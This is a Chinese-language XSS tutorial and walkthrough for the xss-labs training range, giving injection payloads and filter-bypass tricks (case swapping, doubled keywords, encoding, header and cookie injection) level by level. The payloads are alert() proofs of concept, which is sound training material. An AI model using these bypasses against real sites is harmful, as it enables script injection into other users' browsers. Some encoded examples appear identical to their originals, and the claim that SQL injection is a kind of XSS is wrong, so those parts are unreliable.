原理与类别
XSS 即(Cross Site Scripting)中文名称为:跨站脚本攻击。XSS的重点不在于跨站点,而在于脚本的执行。
那么XSS的原理是:
恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的。
那么XSS攻击最主要有如下分类:
反射型、存储型、及 DOM-based型.反射性和DOM-baseed型可以归类为非持久性XSS攻击。存储型可以归类为持久性XSS攻击。
-
反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候,恶意代码会直接在受害者的主机上的浏览器执行。比如xss-labs的第一题那种就是反射型xss
-
存储型XSS主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。在反射型xss的基础上,如果能彻底改变服务器网页文件,就是存储型xss
-
DOM XSS 是基于文档对象模型的XSS。 一般有如下DOM操作:
使用document.write直接输出数据。 使用innerHTML直接输出数据。 使用location、location.href、location.replace、iframe.src、document.referer、window.name等这些。
-
有趣的是sql注入也是一种xss
靶场搭建
- 文件名:xss-labs-master
- 无版本限制?
一些知识
检验与修改
- 注入后需要检验和修改注入语句时可以直接在控制台中修改,而不用一直去看代码或者用题目提供的传参去修改
根语句
使目标指向指定命令需要适当的语句,这里列出常用的几种根语句,实战中根据闭环方式的不同对根语句做出一些修改
根语句大体分两种类型,一种是闭合原有标签,自建标签,一种是直接在原有标签中添加新的事件
- jsc标签
直接加script标签执行jsc命令
<script>alert('miaomiaomiao')</script>
<script>alert(/miaomiaomiao/)</script>//引号可以替换成斜杠
- jsc伪协议
向标签添加事件,鼠标经过触发
onmouseover=javascript:alert(1)
自建链接标签,点击触发
<a href=javascript:alert(/heihei/)>
- onclick事件
向标签添加事件,点击触发
onclick="alert('6')"
- img标签
自建img标签,直接触发
<img asrc=x onerror=alert('xss')>
一些绕过
- <>被过滤
htmlspecialchars($str)函数会把<>给转码
考虑利用已有的标签,通过添加事件来实现函数执行,如:
onclick="alert('6')"
onmouseover=javascript:alert(1)
- 字符串绕过
找没有被过滤的根语句
unicode编码绕过(下面会提)
大小写绕过
双写饶过
- 空格绕过
+,制表符代替空格
- 隐藏传参
注入本质是传参内容被写入页面内容,所以只要能传参都能注入,内容与常规注入一致
接口有首部字段,输入框,地址栏,隐藏表单等
隐藏表单可以直接在控制台中删除hidden属性
- unicode编码绕过
将命令整体(或者局部进行ascll转码,即可绕过)
经过测试,此方法可以在任意的地方转码
比如:
<script>alert('miaomiaomiao')</script>
转为
<script>alert('miaomiaomiao')</script> 
也可以转为
<script>alert('miaomiaomiao')</script> 
wp
l1
- 题目中用户输入被拼接到源码的这个位置
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
- 直接加入script标签,最终payload
?name=<script>alert('miaomiaomiao')</script>
l2
- 用户输入被拼接到源码的这个位置
<h2 align=center>没有找到和test相关的结果.</h2><center>
- 直接加入script标签,最终payload
输入框中直接输入:
<script>alert('miaomiaomiao')</script>
- 注意观察到源码中有这个地方
<input name=keyword value="<script>alert('miaomiaomiao')</script>">
- 所以闭环拼接最终payload
"><script>alert('miaomiaomiao')</script><"
l3
- 先输入第一关的答案去试一下,然后查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script>alert('miaomiaomiao')</script>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script>alert('miaomiaomiao')</script>'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:38</h3></body>
</html>
- 可以发现所有的script标签都被转码了,即<被转码成<并且>被转码成了>
- 可以使用上面提到的onmouseover值
onmouseover=javascript:alert(1)
- 最终payload
' onmouseover=javascript:alert(1) '
拼接效果
<input name=keyword value='' onmouseover=javascript:alert(1) ''>
l4
- 再用第一题的wp试一下
<input name=keyword value="scriptalert('miaomiaomiao')/script">
- 这次直接把<和>给过滤了
- 那直接用l3的wp就好了,反正没有<>
" onmouseover=javascript:alert(1) "
l5
- 用第一题和第4题的wp试一下
<scr_ipt>alert('miaomiaomiao')</script>
<input name=keyword value="" o_nmouseover=javascript:alert(1) "">
- 说明script和on会被下划线分开
- 可以用上面提到的jsc伪协议,构造一个新的链接来执行jsc代码
"><a href=javascript:alert(/heihei/)>
l6
- 用第一题,第4题和第5题的wp试一下
<scr_ipt>alert('miaomiaomiao')</script>
<input name=keyword value="" o_nmouseover=javascript:alert(1) "">
<input name=keyword value=""><a hr_ef=javascript:alert(/heihei/)>">
- 相比前面把href也给过滤了
- 前面的三种wp都可以直接大小写绕过
"><a hRef=javascript:alert(/heihei/)>
" oNmouseover=javascript:alert(1) "
l7
- 试第一关的wp
<input name=keyword value=""><>alert('miaomiaomiao')</><"">
- script被删除,直接双写绕过
"><scripscriptt>alert('miaomiaomiao')</scripscriptt><"
l8
- 试第一关的wp
<a href=""><scr_ipt>alert('miaomiaomiao')</scr_ipt><"">友情链接</a>
- 经过测试,之前的方法全不能用,考虑unicode编码绕过,编码语句用之前的伪协议
- 编码前
javascript:alert(/heihei/)
- 编码后
javascript:alert(/heihei/)
- 不知道为啥不能用第一种方法?
l9
- 查看源码,发现在第8题的基础上加入了if(strpos($str,'http://')===false),使得输入的字符串必须带有http://字样,不能整体unicode编码了,可以把被过滤的script局部编码
- 编码前
javascript:alert('http://')
- 编码后
javascript:alert('http://')
l10
- 查看源码,压根就没有注入的地方了,但是观察到由三个可以提供注入的表单,只不过被隐藏了,可以直接在查看器中去除hidden属性
- 直接地址栏传入值
?keyword=1&t_sort="><script>alert('miaomiaomiao')</script><"
- 结果返回
<input name="t_sort" value="" scriptalert('miaomiaomiao')="" script""="" type="">
- 看来<>都被过滤了,那么试一试编码绕过(不知道为啥这样不行)
?keyword=1&t_sort="><script>alert('miaomiaomiao')</script><"
- 这里使用另一种方法,给标签增加一个onclick事件
?keyword=1&t_sort=" onclick="alert('666')"
- 把type的隐藏属性删掉,点击一下文本框就可以辣
l11
- 本题和上一题很像,但是当get传参的时候发现三个隐藏的表单都没有接收参数,查看源代码,发现t_sort接收来自referer的参数,所以referer传参注入,paylaod与上一题目相同
l12
- 本题与上一题很像,查看源代码,发现本题是user_agent传参,所以user-agent传参注入,payload与上一题相同
l13
- 与上一题类似,cookie传参,本题有个坑:如果用hackbar直接传cookie表单无法接收到数据,因为hackbar不能看到cookie传递的有哪些变量,用burpsuit抓包可以看到,本题是用的user来传递的参数
l14
- 在本关的PHP源代码中,本来有一个iframe框架,该框架引用了一个网站,但是网站链接已经失效了所以做不了
- 站点功能为提取并显示图片的exif信息,所以篡改图片的exif信息,插入jsc代码即可
l15
- 查看源码,发现有上面提到的nginclude包含语句
<!--ngInclude: 1.gif-->
- 包含一个有xss漏洞的网页并对网页注入
?src='level1.php?name=<img src=x onerror=alert("xss")>'//有时候可以,有时候不行
l16
- 依然用上一关的wp,但是空格被过滤了,制表符绕过
?keyword=<img%0asrc=x%0aonerror=alert('xss')>
l17
- 先随便传点东西观察注入点
?arg01=safae&arg02=SFcdxv
- 观察返回页面
<embed src=xsf01.swf?safae=SFcdxv width=100% heigth=100%>
- 发现注入点,可以在这里构造一个img标签
?arg01=adsz&arg02=><img src=x onerror=alert('xss')>
- 发现<>又被过滤了,那试试添加onmouseover事件了(这里的空格可以用%0a,+或者直接打空格)
?arg01=adsz&arg02= onmouseover=alert('xss')
- 还是不行,对比网页,发现好像是embed没有显示出来,无法触发事件,环境问题
l18
- 和17题一样
19~20
- flash xss,注入点存在于flash文件中的jsc函数,需要进行反汇编,这部分交给re队友吧